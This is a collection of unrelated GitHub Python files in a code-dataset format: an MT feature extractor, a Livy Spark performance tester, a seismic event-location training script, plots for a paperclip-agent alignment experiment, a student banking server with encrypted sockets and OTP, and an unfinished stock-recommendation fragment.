os.mkdir(wd)\n\n data = RankingData(config)\n data.read_dataset()\n\n process = Process(config)\n sentences_tgt, sentences_ref = process.run_processors()\n\n feature_names = FeatureExtractor.read_feature_names(config)\n feature_values = FeatureExtractor.extract_features_static(feature_names, sentences_tgt, sentences_ref)\n write_feature_file(wd + '/' + 'x' + '_' + data.datasets[0].name + '.tsv', feature_values)\n\n my_dataset = data.plain[0].dataset\n my_lp = data.plain[0].lp\n f_path = wd + '/' + 'x' + '_' + my_dataset + '_' + my_lp + '.tsv'\n f_file = open(f_path, 'w')\n\n for i, instance in enumerate(data.plain):\n if instance.dataset == my_dataset and instance.lp == my_lp:\n f_file.write('\\t'.join([str(x) for x in feature_values[i]]) + \"\\n\")\n else:\n f_file.close()\n my_dataset = instance.dataset\n my_lp = instance.lp\n f_path = wd + '/' + 'x' + '_' + my_dataset + '_' + my_lp + '.tsv'\n f_file = open(f_path, 'w')\n\n f_judgements = config.get('WMT', 'human_ranking')\n human_rankings = HumanRanking()\n human_rankings.add_human_data(f_judgements, config)\n human_rankings.get_sentence_ids(data)\n\n learn_to_rank(feature_values, human_rankings, wd + '/' + 'x_learn_to_rank.tsv', wd + '/' + 'y_learn_to_rank.tsv')\n\n","repo_name":"mfomicheva/metric-dev","sub_path":"feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33334666179","text":"#!/usr/bin/env python3\n\nimport sys, pprint\nimport requests, json\nfrom os import environ\nimport os\nimport textwrap\nimport time\nimport threading\nfrom optparse import OptionParser\nis_py2 = sys.version[0] == '2'\nif is_py2:\n import Queue as queue\nelse:\n import queue as queue\n\n\nparser = OptionParser()\nparser.add_option(\"-k\", \"--kind\", dest=\"kind\",\n help=\"Code Kind (Required)\", metavar=\"FILE\")\nparser.add_option(\"-o\", \"--output\", dest=\"output\",\n help=\"Name of log file\", metavar=\"FILE\")\n(options, args) = parser.parse_args()\n\nif not options.kind: #\n print(\"!!! Required Argument Missing !!!\\n\")\n parser.print_help()\n sys.exit()\n\nif options.output:\n sys.stdout.flush()\n sys.stdout = open(options.output, 'w')\n\nsid = None\nif len(args) > 1:\n sid = args[1]\n\nhost = \"http://localhost:8998\"\nheaders = {}\n\npp = pprint.PrettyPrinter(indent=4)\n\nCODE_KIND = os.getenv(\"CODE_KIND\",\"spark\")\n\nWAIT=.050\n\ndef add_input(input_queue):\n while True:\n input_queue.put(sys.stdin.read(1))\n\n\ndef timeResponse( stid, j):\n start_time = time.time()\n count = 1\n progress = str(j[\"progress\"])\n while progress != \"1.0\":\n time.sleep( WAIT )\n count = count + 1\n r = requests.get(statements_url + \"/\" + stid, headers=headers)\n r.raise_for_status\n j = r.json()\n progress = str(j[\"progress\"])\n\n print( \"Status checks: {}, Wait between checks: {:.2f}ms, Wall clock: {:.3f}s\".format( str(count), WAIT * 1000, time.time() - start_time) )\n pp.pprint(j)\n return str(j[\"id\"])\n\ndef startNewSession( sid=None ):\n if sid is None:\n sid = environ.get(\"SESSION_ID\")\n \n waiting = 0\n if sid is None:\n print( \"No Session Defined\")\n data = {\"kind\": \"shared\", \"conf\" : { \"spark.driver.memory\" : \"768m\"} }\n r = requests.post( host + \"/sessions\", data=json.dumps(data), headers=headers )\n WAIT_FOR_START=10\n msg = \"Sleeping \" + str(WAIT_FOR_START) + \"s while waiting for session to start\"\n print( msg )\n waiting = WAIT_FOR_START\n time.sleep(WAIT_FOR_START)\n else:\n msg = \"Running tests against pre-existing session = %s\" % ( sid )\n print( msg )\n r = requests.get(host + \"/sessions/\" + str(sid), headers=headers)\n\n if r.status_code < 200 or r.status_code > 201:\n r.raise_for_status()\n else:\n while True:\n j = r.json()\n sid = j[\"id\"]\n state = str(j[\"state\"])\n if state == \"idle\":\n break\n time.sleep( 1 )\n waiting = waiting + 1\n msg = \"Waited %s seconds for Session %s to start\" % ( waiting, sid )\n print( msg )\n sessions_url = host + \"/sessions/\" + str(sid)\n r = requests.get(sessions_url, headers=headers)\n r.raise_for_status\n\n msg = \"export SESSION_ID=\" + str(sid)\n print( msg )\n return sid\n\nsid = startNewSession(sid)\nsessions_url = host + \"/sessions/\" + str(sid)\n\nstatements_url = sessions_url + '/statements'\nwith open('initcode.txt', 'r') as myfile:\n initcode = myfile.read()\ndata = { 'kind' : CODE_KIND, 'code': textwrap.dedent(initcode) }\nr = requests.post(statements_url, data=json.dumps(data), headers=headers)\nj = r.json()\nstid = str(j[\"id\"]);\n\nqid = timeResponse( stid, j )\nmsg = \"Query # %s complete\" % ( qid )\nprint( msg )\n\n# Set us up to check for input\ninput_queue = queue.Queue()\ninput_thread = threading.Thread(target=add_input, args=(input_queue,))\ninput_thread.daemon = True\ninput_thread.start()\n\n# Get the code ready\nwith open('perfcode.txt', 'r') as myfile:\n code2 = myfile.read()\ndata = { 'kind' : CODE_KIND, 'code': textwrap.dedent(code2) }\n\n# Loop on statements\ni = 0\nwhile not i:\n r = requests.post(statements_url, data=json.dumps(data), headers=headers)\n r.raise_for_status\n j = r.json()\n stid = str(j[\"id\"]);\n\n qid = timeResponse( stid, j )\n msg = \"Query # %s complete\" % ( qid )\n print( msg )\n # Check for user input, pause for 10 seconds if key entered\n if not input_queue.empty():\n userin = input_queue.get()\n if userin.isdigit():\n pause = float(userin)*10.0\n else:\n pause= 10.0\n msg = \"Pausing for \" + str(pause) + \" seconds...\"\n print( msg )\n time.sleep(pause)\n","repo_name":"harschware/livy-perf-test","sub_path":"perfTestLivy.py","file_name":"perfTestLivy.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25533114806","text":"import json\nfrom datetime import datetime\nfrom pathlib import Path\n\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.distributed as dist\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport utils\nfrom adloc import PhaseDataset, TravelTime, initialize_eikonal, optimize\nfrom matplotlib import pyplot as plt\nfrom pyproj import Proj\nfrom sklearn.neighbors import NearestNeighbors\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom tqdm.auto import tqdm\n\ntorch.manual_seed(0)\nnp.random.seed(0)\n\n\ndef get_args_parser(add_help=True):\n import argparse\n\n parser = argparse.ArgumentParser(description=\"PyTorch Detection Training\", add_help=add_help)\n parser.add_argument(\"-dd\", \"--double_difference\", action=\"store_true\", help=\"Use double difference\")\n parser.add_argument(\"--eikonal\", action=\"store_true\", help=\"Use eikonal\")\n parser.add_argument(\"--dd_weight\", default=1.0, type=float, help=\"weight for double difference\")\n parser.add_argument(\"--min_pair_dist\", default=20.0, type=float, help=\"minimum distance between pairs\")\n parser.add_argument(\"--max_time_res\", default=0.5, type=float, help=\"maximum time residual\")\n parser.add_argument(\"--config\", default=\"config.json\", type=str, help=\"config file\")\n parser.add_argument(\"--stations\", type=str, default=\"tests/stations.json\", help=\"station json\")\n parser.add_argument(\"--picks\", type=str, default=\"tests/picks.csv\", help=\"picks csv\")\n parser.add_argument(\"--events\", type=str, default=\"tests/events.csv\", help=\"events csv\")\n parser.add_argument(\"--result_path\", type=str, default=\"results\", help=\"result path\")\n\n parser.add_argument(\"--device\", default=\"cuda\", type=str, help=\"device (Use cuda or cpu Default: cuda)\")\n parser.add_argument(\n \"-b\", \"--batch_size\", default=2, type=int, help=\"images per gpu, the total batch size is $NGPU x batch_size\"\n )\n parser.add_argument(\"--epochs\", default=30, type=int, metavar=\"N\", help=\"number of total epochs to run\")\n parser.add_argument(\n \"-j\", \"--workers\", default=0, type=int, metavar=\"N\", help=\"number of data loading workers (default: 4)\"\n )\n parser.add_argument(\"--opt\", default=\"lbfgs\", type=str, help=\"optimizer\")\n parser.add_argument(\n \"--lr\",\n default=0.02,\n type=float,\n help=\"initial learning rate, 0.02 is the default value for training on 8 gpus and 2 images_per_gpu\",\n )\n parser.add_argument(\n \"--wd\",\n \"--weight_decay\",\n default=1e-4,\n type=float,\n metavar=\"W\",\n help=\"weight decay (default: 1e-4)\",\n dest=\"weight_decay\",\n )\n parser.add_argument(\n \"--lr-scheduler\", default=\"multisteplr\", type=str, help=\"name of lr scheduler (default: multisteplr)\"\n )\n parser.add_argument(\n \"--lr-step-size\", default=8, type=int, help=\"decrease lr every step-size epochs (multisteplr scheduler only)\"\n )\n parser.add_argument(\n \"--lr-steps\",\n default=[16, 22],\n nargs=\"+\",\n type=int,\n help=\"decrease lr every step-size epochs (multisteplr scheduler only)\",\n )\n parser.add_argument(\n \"--lr-gamma\", default=0.1, type=float, help=\"decrease lr by a factor of lr-gamma (multisteplr scheduler only)\"\n )\n\n # distributed training parameters\n parser.add_argument(\"--world-size\", default=1, type=int, help=\"number of distributed processes\")\n parser.add_argument(\"--dist-url\", default=\"env://\", type=str, help=\"url used to set up distributed training\")\n\n # Mixed precision training parameters\n parser.add_argument(\"--amp\", action=\"store_true\", help=\"Use torch.cuda.amp for mixed precision training\")\n\n return parser.parse_args()\n\n\ndef main(args):\n ##TODO: clean up config\n # config = {\n # \"center\": (-117.504, 35.705),\n # \"xlim_degree\": [-118.004, -117.004],\n # \"ylim_degree\": [35.205, 36.205],\n # \"degree2km\": 111.19492474777779,\n # \"starttime\": datetime(2019, 7, 4, 17, 0),\n # \"endtime\": datetime(2019, 7, 5, 0, 0),\n # }\n\n with open(args.config, \"r\") as fp:\n config = json.load(fp)\n if \"center\" not in config:\n config[\"center\"] = (\n (config[\"minlongitude\"] + config[\"maxlongitude\"]) / 2,\n (config[\"minlatitude\"] + config[\"maxlatitude\"]) / 2,\n )\n\n ## Eikonal for 1D velocity model\n zz = [0.0, 5.5, 16.0, 32.0]\n vp = [5.5, 5.5, 6.7, 7.8]\n vp_vs_ratio = 1.73\n vs = [v / vp_vs_ratio for v in vp]\n h = 1.0\n vel = {\"z\": zz, \"p\": vp, \"s\": vs}\n config[\"x(km)\"] = (\n max(config[\"maxlongitude\"] - config[\"center\"][0], config[\"center\"][0] - config[\"minlongitude\"])\n * config[\"degree2km\"]\n * np.cos(np.deg2rad(config[\"center\"][1]))\n )\n config[\"y(km)\"] = (\n max(config[\"maxlatitude\"] - config[\"center\"][1], config[\"center\"][1] - config[\"minlatitude\"])\n * config[\"degree2km\"]\n )\n config[\"z(km)\"] = (0, 20)\n config[\"eikonal\"] = {\"vel\": vel, \"h\": h, \"xlim\": config[\"x(km)\"], \"ylim\": config[\"y(km)\"], \"zlim\": config[\"z(km)\"]}\n\n if args.eikonal:\n eikonal = initialize_eikonal(config[\"eikonal\"])\n else:\n eikonal = None\n\n # %% TODO: Convert to args\n # stations = pd.read_csv(data_path / \"stations.csv\")\n # picks = pd.read_csv(data_path / \"picks.csv\", parse_dates=[\"phase_time\"])\n # events = pd.read_csv(data_path / \"events.csv\", parse_dates=[\"time\"])\n # stations = pd.read_csv(args.stations)\n with open(args.stations, \"r\") as fp:\n stations = json.load(fp)\n stations = pd.DataFrame.from_dict(stations, orient=\"index\")\n stations[\"station_id\"] = stations.index\n picks = pd.read_csv(args.picks, parse_dates=[\"phase_time\"])\n events = pd.read_csv(args.events, parse_dates=[\"time\"])\n\n # %%\n proj = Proj(f\"+proj=sterea +lon_0={config['center'][0]} +lat_0={config['center'][1]} +units=km\")\n stations[[\"x_km\", \"y_km\"]] = stations.apply(\n lambda x: pd.Series(proj(longitude=x.longitude, latitude=x.latitude)), axis=1\n )\n stations[\"z_km\"] = stations[\"depth_km\"]\n # starttime = events[\"time\"].min()\n # events[\"time\"] = (events[\"time\"] - starttime).dt.total_seconds()\n # picks[\"phase_time\"] = (picks[\"phase_time\"] - starttime).dt.total_seconds()\n events[[\"x_km\", \"y_km\"]] = events.apply(\n lambda x: pd.Series(proj(longitude=x.longitude, latitude=x.latitude)), axis=1\n )\n events[\"z_km\"] = events[\"depth_km\"]\n\n # %%\n num_event = len(events)\n num_station = len(stations)\n vp = 6.0\n vs = vp / 1.73\n\n stations.reset_index(inplace=True, drop=True)\n stations[\"index\"] = stations.index.values\n stations.set_index(\"station_id\", inplace=True)\n station_loc = stations[[\"x_km\", \"y_km\", \"z_km\"]].values\n station_dt = None\n\n events.reset_index(inplace=True, drop=True)\n events[\"index\"] = events.index.values\n event_loc = events[[\"x_km\", \"y_km\", \"z_km\"]].values\n event_time = events[\"time\"].values\n\n event_index_map = {x: i for i, x in enumerate(events[\"event_index\"])}\n picks = picks[picks[\"event_index\"] != -1]\n picks[\"index\"] = picks[\"event_index\"].apply(lambda x: event_index_map[x])\n picks[\"phase_time\"] = picks.apply(lambda x: (x[\"phase_time\"] - event_time[x[\"index\"]]).total_seconds(), axis=1)\n\n # %%\n utils.init_distributed_mode(args)\n print(args)\n\n phase_dataset = PhaseDataset(picks, events, stations, double_difference=False, config=args)\n if args.distributed:\n sampler = torch.utils.data.distributed.DistributedSampler(phase_dataset, shuffle=False)\n else:\n sampler = torch.utils.data.SequentialSampler(phase_dataset)\n data_loader = DataLoader(phase_dataset, batch_size=None, sampler=sampler, num_workers=args.workers, collate_fn=None)\n\n if args.double_difference:\n phase_dataset_dd = PhaseDataset(picks, events, stations, double_difference=True, config=args)\n if args.distributed:\n sampler_dd = torch.utils.data.distributed.DistributedSampler(phase_dataset_dd, shuffle=False)\n else:\n sampler_dd = torch.utils.data.SequentialSampler(phase_dataset_dd)\n\n data_loader_dd = DataLoader(\n phase_dataset_dd, batch_size=None, sampler=sampler_dd, num_workers=args.workers, collate_fn=None\n )\n else:\n data_loader_dd = None\n\n # %%\n travel_time = TravelTime(\n num_event,\n num_station,\n station_loc,\n # event_loc=event_loc,\n # event_time=event_time,\n velocity={\"P\": vp, \"S\": vs},\n eikonal=eikonal,\n )\n # init_event_loc = travel_time.event_loc.weight.clone().detach().numpy()\n # init_event_time = travel_time.event_time.weight.clone().detach().numpy()\n\n print(f\"Dataset: {len(picks)} picks, {len(events)} events, {len(stations)} stations, {len(phase_dataset)} batches\")\n optimize(args, config, data_loader, data_loader_dd, travel_time)\n\n # %%\n station_dt = travel_time.station_dt.weight.clone().detach().numpy()\n print(\n f\"station_dt: max = {np.max(station_dt)}, min = {np.min(station_dt)}, median = {np.median(station_dt)}, mean = {np.mean(station_dt)}, std = {np.std(station_dt)}\"\n )\n invert_event_loc = travel_time.event_loc.weight.clone().detach().numpy()\n invert_event_time = travel_time.event_time.weight.clone().detach().numpy()\n invert_station_dt = travel_time.station_dt.weight.clone().detach().numpy()\n\n stations[\"dt_s\"] = invert_station_dt[:, 0]\n with open(f\"{args.result_path}/stations.json\", \"w\") as fp:\n json.dump(stations.to_dict(orient=\"index\"), fp, indent=4)\n events[\"time\"] = events[\"time\"] + pd.to_timedelta(np.squeeze(invert_event_time), unit=\"s\")\n events[\"x_km\"] = invert_event_loc[:, 0]\n events[\"y_km\"] = invert_event_loc[:, 1]\n events[\"z_km\"] = invert_event_loc[:, 2]\n events[[\"longitude\", \"latitude\"]] = events.apply(\n lambda x: pd.Series(proj(x[\"x_km\"], x[\"y_km\"], inverse=True)), axis=1\n )\n events.to_csv(\n f\"{args.result_path}/adloc_events.csv\", index=False, float_format=\"%.5f\", date_format=\"%Y-%m-%dT%H:%M:%S.%f\"\n )\n\n\nif __name__ == \"__main__\":\n args = get_args_parser()\n\n main(args)\n","repo_name":"AI4EPS/ADLoc","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":10151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25386550244","text":"import os \nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n#from sklearn import linear_model\n\n\nb = [0,6,11]\ni = [1,7,12]\npb = [2,8,13]\npi = [3,9,14]\nmb = [4,10,15]\nmi = [5,16,17]\nmn = [18]\n\n\ndef avg_df(sim_indexs):\n dfs = []\n path = \"data/simulation_\"\n for i in sim_indexs:\n sim_path = f\"{path}{i}/episodic_data.csv\"\n df = pd.read_csv(sim_path)\n dfs.append(df)\n\n df_avg = pd.concat(dfs).groupby(level=0).mean()\n return df_avg\n\n\ndef get_averages(b,i,pb,pi,mb,mi):\n b = avg_df(b)\n i = avg_df(i)\n pb = avg_df(pb)\n pi = avg_df(pi)\n mb = avg_df(mb)\n mi = avg_df(mi)\n\n titles = [\"\",\"Paperclip Production\",\"Pollution\", \"\"]\n column_names = [\"episode\", \"paperclips\", \"pollution\", \"reward\"]\n \n for column in b.columns:\n if column == '0' or column == '3' or column == '4' or column == '5':\n pass\n else:\n title = f\"{titles[int(column)]} with no starting inventory\"\n plt.plot(b[column], label='Maximise Paperclips')\n plt.plot(pb[column], label='Full Pollution')\n plt.plot(mb[column], label='Sentiment Pollution')\n plt.xlabel(\"Episode\")\n plt.ylabel(column_names[int(column)])\n plt.title(title)\n plt.xlim(0)\n #plt.ylim(0)\n plt.legend(title=\"Reward Function\")\n plt.show()\n\n\n\n title = f\"{titles[int(column)]} with starting inventory\"\n plt.plot(i[column], label='Maximise Paperclips')\n plt.plot(pi[column], label='Full Pollution')\n plt.plot(mi[column], label='Sentiment Pollution')\n plt.xlabel(\"Episode\")\n plt.ylabel(column_names[int(column)])\n plt.title(title)\n plt.xlim(0)\n #plt.ylim(0)\n plt.legend(title=\"Reward Function\")\n plt.show()\n\n\n\ndef plot_100_data():\n path = \"data/simulation_2/episodic_data.csv\"\n df = pd.read_csv(path)\n \n titles = [\"\",\"Paperclip Production In Encoded Environment\",\"Pollution In Encoded Environment\", \"\"]\n column_names = [\"episode\", \"paperclips\", \"pollution\", \"reward\"]\n \n for column in df.columns:\n if column == '1' or column == '2':\n \n title = f\"{titles[int(column)]}\"\n plt.plot(df[column], label='Encoded Agent')\n # plt.plot(functional_reward_df[column], label='Functional Reward')\n plt.xlabel(\"Episode\")\n plt.ylabel(column_names[int(column)])\n plt.title(title)\n plt.xlim(0)\n #plt.ylim(0)\n plt.legend(title=\"Agent\")\n plt.show()\n scatter_morality(path, \"Incontext Agent in encoded environemnt\")\n\ndef plot_1000_data():\n\n\n human_path = \"data/simulation_3/episodic_data.csv\"\n human_df = pd.read_csv(human_path)\n\n apathetic_path = \"data/simulation_4/episodic_data.csv\"\n apathetic_df = pd.read_csv(apathetic_path)\n\n environmental_path = \"data/simulation_5/episodic_data.csv\"\n environmental_df = pd.read_csv(environmental_path)\n\n max_path = \"data/simulation_7/episodic_data.csv\"\n max_df = pd.read_csv(max_path)\n\n functional_reward_path = \"data/functional_reward_starting_inv/simulation_1/episodic_data.csv\"\n functional_reward_df = pd.read_csv(functional_reward_path)\n\n \n titles = [\"\",\"Paperclip-focused Agent Paperclip Production\",\"Paperclip-focused Agent Pollution\", \"\"]\n column_names = [\"episode\", \"paperclips\", \"pollution\", \"reward\"]\n \n for column in human_df.columns:\n if column == '0' or column == '3' or column == '4' or column == '5':\n pass\n else:\n title = f\"{titles[int(column)]}\"\n #plt.plot(apathetic_df[column], label='Apathetic Agent', c='r')\n #plt.plot(environmental_df[column], label='Concious Agent', c='g')\n plt.plot(human_df[column], label='Agent with incontext prompting')\n plt.plot(max_df[column], label='Max Production Agent')\n plt.plot(functional_reward_df[column], label='Functional Reward')\n plt.xlabel(\"Episode\")\n plt.ylabel(column_names[int(column)])\n plt.title(title)\n plt.xlim(0)\n plt.legend(title=\"Agent\", loc=0)\n plt.show()\n\ndef scatter_morality(path, title):\n df = pd.read_csv(path)\n \n \"\"\"\n # lf = linear_model.LogisticRegression()\n df_desirable = df\n df_desirable= df_desirable.replace('very desirable', 1)\n df_desirable = df_desirable.replace('somewhat desirable', 0)\n df_desirable= df_desirable.replace('somewhat undesirable', 0)\n df_desirable= df_desirable.replace('very undesirable', 0)\n\n y = df_desirable['4'].to_numpy()\n X = df_desirable.drop(['0','3','4'], axis=1).to_numpy()\n\n clf.fit(X=X,y=y)\n \"\"\"\n\n\n colourmap = {'somewhat desirable' : 'g', 'very desirable' : 'b', 'somewhat undesirable' : 'y', 'very undesirable' : \"r\"}\n colors = df['6'].map(colourmap)\n\n df.plot.scatter(x='1',\n y='2',\n c=colors,\n s=10)\n\n plt.scatter([], [], c='b', label='Very Desirable', marker='o')\n plt.scatter([], [], c='g', label='Somewhat Desirable', marker='o')\n plt.scatter([], [], c='y', label='Somewhat Undersirable', marker='o')\n plt.scatter([], [], c='r', label='Very Undersirable', marker='o')\n \n\n plt.xlabel(\"Paperclips Produced\")\n plt.ylabel(\"Pollution\")\n plt.title(f\"Sentiment distribution for {title}\")\n plt.legend(title=\"Moral Sentiment\")\n\n #plt.plot(x, y_pred, color='black', label='Logistic Regression Curve')\n \n \n \n plt.show()\n\n\n#plot_1000_data()\n\nhuman_path = \"data/simulation_3/episodic_data.csv\"\nhuman_df = pd.read_csv(human_path)\n\napathetic_path = \"data/simulation_4/episodic_data.csv\"\napathetic_df = pd.read_csv(apathetic_path)\n\nenvironmental_path = \"data/simulation_5/episodic_data.csv\"\nenvironmental_df = pd.read_csv(environmental_path)\n\nmax_path = \"data/simulation_7/episodic_data.csv\"\nmax_df = pd.read_csv(max_path)\n\nplot_1000_data()\nscatter_morality(human_path, \"Agent with Incontext Prompts\")\nscatter_morality(apathetic_path, \"Agent with Apathetic view on Environment\")\nscatter_morality(environmental_path, \"Agent with Concious view on Environment\")\nscatter_morality(max_path, \"Agent Maximizing Paperclip Production\")\n\n#get_averages(b,i,pb,pi,mb,mi)\n\n\"\"\"\nENCODED\n3=incontext\n4=conscious\n5=apathetic\n7=maximise\n\"\"\"","repo_name":"seth9022/agi_align_data_reward","sub_path":"episodic_rewards/visualize_results.py","file_name":"visualize_results.py","file_ext":"py","file_size_in_byte":6413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7187971255","text":"import json\nimport logging\nimport socket\nimport sys\nfrom typing import Tuple\n\nfrom Cipher import Cipher\nfrom SqlDataBase import SqlDataBase\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO)\n\n\nclass Communication:\n \"\"\"\n Communication's handler class.\n in charge of communicate with users, using external functions for encryption.\n \"\"\"\n EXIT = 0\n ADDR = ('127.0.0.1', 12345)\n MAX_MSG = 9999\n SEP = '|'\n\n def __init__(self):\n \"\"\"\n simple c'tor\n \"\"\"\n self.conn_socket = None\n self.cipher = Cipher() # gen session (=symmetric) key & iv:\n self.db = SqlDataBase()\n self.commands = {\"login\": self.login, \"register\": self.register, \"logout\": self.logout,\n \"updateData\": self.update_data, \"otp\": self.otp, \"withdraw\": self.withdraw,\n \"deposit\": self.deposit, \"transfer\": self.transfer}\n self.otp_wait = False\n\n def start(self):\n \"\"\"\n start the server, open sockets and get new users\n \"\"\"\n logging.info(\"Waiting for connection\")\n listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n listen_socket.bind(self.ADDR)\n except socket.error:\n logging.error(\"port is already taken\")\n else:\n listen_socket.listen()\n while True:\n self.conn_socket, addr = listen_socket.accept()\n logging.info('Connected by ' + str(addr))\n self.keys_exchange()\n self.communicate()\n self.conn_socket.close()\n\n def communicate(self):\n \"\"\"\n user communication's handler\n \"\"\"\n code = 1\n logging.info(\"start communicate!\")\n while code != self.EXIT:\n enc_data = self.conn_socket.recv(self.MAX_MSG)\n try:\n data = self.decrypt(enc_data)\n code, params = self.parse(data)\n except Exception as e:\n logging.info(\"[!] error: \")\n print(str(e))\n self.conn_socket.send(self.encrypt(\"0|message not in format\"))\n else:\n logging.info(f\"got from client:\\n(code, params) = {code, params}\")\n ans = self.commands[code](params)\n print(\"ans: \", ans, \" .\")\n self.conn_socket.send(self.encrypt(ans))\n\n def keys_exchange(self) -> None:\n \"\"\"\n handler key symmetric and asymmetric keys with client\n \"\"\"\n # gen asymmetric public key:\n exponent = self.conn_socket.recv(self.MAX_MSG)\n modulus = self.conn_socket.recv(self.MAX_MSG)\n self.cipher.gen_rsa_pubkey(modulus, exponent)\n\n # encrypt the session key & iv with the asymmetric public key and send to client:\n enc_shared_key = self.cipher.rsa_encrypt_key()\n self.conn_socket.send(enc_shared_key)\n\n def encrypt(self, ans: str) -> bytes:\n \"\"\"\n encrypt the given msg\n\n :param ans: the given answer\n :return: encrypted answer\n \"\"\"\n return self.cipher.encrypt(ans.encode())\n\n def decrypt(self, enc_data: bytes) -> str:\n \"\"\"\n decrypt the given msg\n\n :param enc_data: the given msg\n :return: decrypt msg\n \"\"\"\n return self.cipher.decrypt(enc_data).decode()\n\n def parse(self, data: str) -> Tuple[str, dict]:\n \"\"\"\n Parse coming data to cmd code and params\n\n :param data: data from user\n :return: parse data\n \"\"\"\n code, params = data.split(self.SEP, 1)\n return code, json.loads(params)\n\n def login(self, params: dict) -> str:\n \"\"\"\n try login with given username and password\n\n :param params: dict of username and password\n :return: fit msg\n \"\"\"\n try:\n account = self.db.login(params[\"username\"], params[\"hash_password\"])\n except ValueError as ve:\n return str(ve)\n else:\n return f\"1|user login:{json.dumps(account)}\"\n\n def register(self, params: dict) -> str:\n \"\"\"\n try create new account with given params\n :param params: new account params' as dict\n :return: fit msg\n \"\"\"\n otp_secret = Cipher.get_secret()\n try:\n acc_id = self.db.add_new_account(params[\"FullName\"], params[\"Username\"], params[\"Password\"],\n params[\"Email\"], params[\"BirthDay\"], params[\"Gender\"], params[\"Country\"],\n params[\"City\"], params[\"Street\"], params[\"HouseNum\"], params[\"IsMarry\"],\n otp_secret)\n except ValueError as ve:\n return str(ve)\n else:\n print(f\"[!] registration returns: 1|id:{acc_id}|{otp_secret}\")\n return f\"1|id:{acc_id}|{otp_secret}\"\n\n def logout(self, _):\n \"\"\"\n commit logout from current login account\n :param _: unused param\n :return: succeed msg\n \"\"\"\n self.db.logout()\n return \"1\"\n\n def update_data(self, params: dict) -> str:\n \"\"\"\n try update data of given account data with the new params\n\n :param params: new params\n :return: fit msg\n \"\"\"\n if not self.db.is_login:\n return \"0|Please login first\"\n return \"1|account update successfully\" if self.db.update_account(params[\"accNum\"], params[\"FullName\"],\n params[\"Username\"], params[\"Email\"],\n params[\"BirthDay\"], params[\"Gender\"],\n params[\"Country\"], params[\"City\"],\n params[\"Street\"], params[\"HouseNum\"], params[\n \"IsMarry\"]) \\\n else \"0|username or email already in used\"\n\n def withdraw(self, amount: dict) -> str:\n \"\"\"\n withdraw amount from current login user\n\n :param amount: the amount\n :return: fit msg\n \"\"\"\n if self.db.account is None:\n raise ValueError(\"0|Please logging first\")\n if self.db.account[\"Balance\"] < amount[\"amount\"]:\n raise ValueError(\"0|You don't have enough money\")\n\n # TODO: TOTP\n self.db.update_account_balance(self.db.account[\"accNum\"], self.db.account[\"Balance\"] - amount[\"amount\"])\n print(\"withdraw\")\n return \"1|succeed\"\n\n def deposit(self, amount: dict) -> str:\n \"\"\"\n deposit amount from current login user\n\n :param amount: the amount\n :return: fit msg\n \"\"\"\n if self.db.account is None:\n raise ValueError(\"0|Please logging first\")\n\n # TODO: TOTP\n self.db.update_account_balance(self.db.account[\"accNum\"], self.db.account[\"Balance\"] + amount[\"amount\"])\n print(\"deposit\")\n return \"1|succeed\"\n\n def transfer(self, params):\n if self.db.account[\"Balance\"] < params[\"amount\"]:\n raise ValueError(\"0|You don't have enough money\")\n\n if not self.db.check_if_exists(params[\"accNum\"]):\n raise ValueError(\"0|no such account!\")\n\n self.db.update_account_balance(self.db.account[\"accNum\"], self.db.account[\"Balance\"] - params[\"amount\"])\n self.db.update_account_balance(params[\"accNum\"], self.db.account[\"Balance\"] + params[\"amount\"])\n return \"1|succeed\"\n\n def otp(self, user_otp) -> str:\n \"\"\"\n handle TOTP\n\n :param user_otp: user OTP\n :return: fit msg\n \"\"\"\n # if not self.otp_wait:\n # return \"0|otp is not necessary now!\"\n try:\n secret = self.db.get_otp_data()[0]\n except ValueError as ve:\n return ve\n else:\n otp = Cipher.get_otp(secret)\n logging.info(\"user OTP:\" + user_otp[\"otp\"])\n logging.info(\"sys OTP:\" + otp)\n return \"1|good\" if otp == user_otp[\"otp\"] else \"0|bad\"\n\n\nif __name__ == \"__main__\":\n Communication().start()\n","repo_name":"ShacharMarkovich/BankingSystem","sub_path":"Server/Communication.py","file_name":"Communication.py","file_ext":"py","file_size_in_byte":8240,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"17081842276","text":"import os, time, json, re, logging\nimport bisect\n\nfrom kubernetes import client, config\n\nGET_PODS_NAMESPACE = os.environ.get(\"GET_PODS_NAMESPACE\")\n\nformatter = '%(levelname)s : %(asctime)s : %(message)s'\nlogging.basicConfig(level=logging.INFO, format=formatter)\n\nglobal recommendstock_set\nrecommendstock_set = set()\n\ndef getcurrentprice():\n config.load_incluster_config()\n dic = dict()\n\n try:\n api_instance = client.CoreV1Api()\n podlist = api_instance.list_namespaced_pod(GET_PODS_NAMESPACE)\n except:\n logging.warning('Failed getting pods list')\n return dic\n\n for pod in podlist.items:\n try:\n if pod.status.phase == \"Succeeded\":\n pod_name = pod.metadata.name\n api_response = api_instance.read_namespaced_pod_log(name=pod_name, namespace=GET_PODS_NAMESPACE)\n apires = api_response.split(\"\\n\")\n strd = re.sub(r\".*(?=\\{)\", \"\", apires[-2])\n d = json.loads(strd.replace(\"'\", '\"'))\n dic.update(d)\n except:\n logging.warning(\"Failed updating the percentage increase dictionary by [\" + str(pod_name) + \"] pod\")\n \n return dic\n\n\ndef recommend(stockpricedic):\n price_movement_limit_tuple = (())\n ls = []\n\n for stockid in stockpricedic.keys():\n price, price_movement = stockpricedic[stockid]\n plindex = bisect.bisect_left(ls, price - price_movement)\n price_movement_limit = price_movement_limit_tuple[plindex][1]\n\n if True: recommendstock_set.add(stockid)\n\n return\n\ndef main():\n stock_price_dic = getcurrentprice()\n \n 